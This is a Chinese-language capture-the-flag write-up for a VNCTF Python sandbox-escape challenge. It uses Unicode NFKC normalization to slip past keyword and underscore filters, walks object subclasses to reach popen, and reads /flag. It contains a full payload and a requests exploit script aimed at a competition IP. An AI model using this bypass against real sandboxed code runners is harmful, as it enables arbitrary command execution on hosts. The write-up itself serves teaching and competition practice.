Writeup: I really really really… (VNCTF)
用ai挂了会,感觉也是个思路,遂放
题目信息
- 难度:困难
- 出题人:LamentXU & 萦梦sora~X
- 提示:Unicode 太好用了
- Flag 位置:
/flag和环境变量
题目分析
这是一个 Python 沙箱逃逸题目。服务器接收 POST 请求的 code 参数并执行。
过滤规则
| 过滤项 | 说明 |
|---|---|
0-9 |
所有数字 |
' " |
引号 |
__ |
双下划线 |
[ ] { } |
括号 |
; \ |
分号、反斜杠 |
class def builtins getitem |
关键字 |
| 行长度 > 30 | 每行不能超过30字符 |
解题思路
1. Unicode NFKC 规范化绕过
Python 3 标识符使用 NFKC 规范化。关键发现:
# U+FE34 (︴) 规范化后变成 _
# 使用 _︴ 代替 __ (第一个正常下划线,第二个Unicode)
"_︴" → NFKC → "__"
# 数学粗体字母规范化后变成普通字母
"𝐜𝐥𝐚𝐬𝐬" → NFKC → "class"
可用的 Unicode 下划线替代字符:
- U+FE34
︴PRESENTATION FORM FOR VERTICAL WAVY LOW LINE - U+FE4D
﹍DASHED LOW LINE - U+FE4E
﹎CENTRELINE LOW LINE - U+FE4F
﹏WAVY LOW LINE
2. 构造魔术属性
# 原本写法(被过滤)
().__class__.__base__.__subclasses__()
# Unicode 绕过写法
()._︴𝐜𝐥𝐚𝐬𝐬_︴._︴𝐛𝐚𝐬𝐞_︴._︴𝐬𝐮𝐛𝐜𝐥𝐚𝐬𝐬𝐞𝐬_︴()
3. 行长度限制绕过
用换行符分割代码,每行不超过30字符:
x = ()
x = x._︴𝐜𝐥𝐚𝐬𝐬_︴
x = x._︴𝐛𝐚𝐬𝐞_︴
4. 获取内置函数
遍历子类的 __init__.__globals__.values() 找到 chr、popen:
for c in subclasses:
for v in c.__init__.__globals__.values():
chr_func = v.chr # 找到 chr
popen_func = v.popen # 找到 popen
5. 无数字构造数字
使用 True 进行加法运算:
a = True # 1
b = a + a # 2
d = b + b # 4
h = d + d # 8
m = h + h # 16
n = m + m # 32
o = n + n # 64
构造 "cat /flag" 的 ASCII 码:
| 字符 | ASCII | 计算方式 |
|---|---|---|
| c | 99 | 64+32+2+1 = o+n+b+a |
| a | 97 | 64+32+1 = o+n+a |
| t | 116 | 64+32+16+4 = o+n+m+d |
| 空格 | 32 | 32 = n |
| / | 47 | 32+8+4+2+1 = n+h+d+b+a |
| f | 102 | 64+32+4+2 = o+n+d+b |
| l | 108 | 64+32+8+4 = o+n+h+d |
| a | 97 | 64+32+1 = o+n+a |
| g | 103 | 64+32+4+2+1 = o+n+d+b+a |
6. 输出 Flag
print 输出被拦截,使用 assert 触发异常显示内容:
assert not True, flag_content
# AssertionError: <flag内容>
最终 Payload
x = ()
x = x._︴𝐜𝐥𝐚𝐬𝐬_︴
x = x._︴𝐛𝐚𝐬𝐞_︴
s = x._︴𝐬𝐮𝐛𝐜𝐥𝐚𝐬𝐬𝐞𝐬_︴()
ch = None
po = None
for c in s:
try:
g = c._︴𝐢𝐧𝐢𝐭_︴
g = g._︴𝐠𝐥𝐨𝐛𝐚𝐥𝐬_︴
for v in g.𝐯𝐚𝐥𝐮𝐞𝐬():
try:
ch = v.𝐜𝐡𝐫
except:
pass
try:
po = v.𝐩𝐨𝐩𝐞𝐧
except:
pass
except:
pass
a = True
b = a + a
d = b + b
h = d + d
m = h + h
n = m + m
o = n + n
cc = ch(o + n + b + a)
aa = ch(o + n + a)
tt = ch(o + n + m + d)
sp = ch(n)
sl = ch(n + h + d + b + a)
ff = ch(o + n + d + b)
ll = ch(o + n + h + d)
gg = ch(o + n + d + b + a)
cm = cc + aa + tt
cm = cm + sp + sl
cm = cm + ff + ll
cm = cm + aa + gg
f = po(cm)
t = f.𝐫𝐞𝐚𝐝()
assert not True, t
Exploit 脚本
import requests
import unicodedata
url = "http://114.66.24.228:33306/"
U = chr(0xFE34) # ︴
def uc(s):
"""将字符串转换为数学粗体字母"""
result = ""
for c in s:
for i in range(0x1D400, 0x1D800):
if unicodedata.normalize('NFKC', chr(i)) == c:
result += chr(i)
break
else:
result += c
return result
def dunder(name):
"""构造 __name__ 格式"""
return f"_{U}{uc(name)}_{U}"
# 构造 payload
code = f"""x = ()
x = x.{dunder('class')}
x = x.{dunder('base')}
s = x.{dunder('subclasses')}()
ch = None
po = None
for c in s:
try:
g = c.{dunder('init')}
g = g.{dunder('globals')}
for v in g.{uc('values')}():
try:
ch = v.{uc('chr')}
except:
pass
try:
po = v.{uc('popen')}
except:
pass
except:
pass
a = True
b = a + a
d = b + b
h = d + d
m = h + h
n = m + m
o = n + n
cc = ch(o + n + b + a)
aa = ch(o + n + a)
tt = ch(o + n + m + d)
sp = ch(n)
sl = ch(n + h + d + b + a)
ff = ch(o + n + d + b)
ll = ch(o + n + h + d)
gg = ch(o + n + d + b + a)
cm = cc + aa + tt
cm = cm + sp + sl
cm = cm + ff + ll
cm = cm + aa + gg
f = po(cm)
t = f.{uc('read')}()
assert not True, t"""
r = requests.post(url, data={"code": code})
# 从响应中提取结果
import re
m = re.search(r'output-area">(.*?)</div>', r.text, re.DOTALL)
if m:
print(m.group(1).strip())
Flag
VNCTF{i_reAlLy_Re@lLy_RE@lIY_IlkE_u&l_w@nT_U_Do_U_w@nt_ME_too?8wdxQjh}
知识点总结
Python Unicode NFKC 规范化
- Python 3 标识符支持 Unicode
- 使用
unicodedata.normalize('NFKC', char)进行规范化 - 可利用规范化后相同的 Unicode 字符绕过关键字过滤
Python 原型链利用
().__class__.__base__获取object类__subclasses__()获取所有子类__init__.__globals__获取全局命名空间,包含内置函数
无数字编程
True在数值上下文中等于1False等于0- 通过加法可以生成任意正整数
异常信息泄露
- 当
print等输出函数被拦截时 - 可以使用
assert False, message触发AssertionError - 异常信息会包含 message 内容
- 当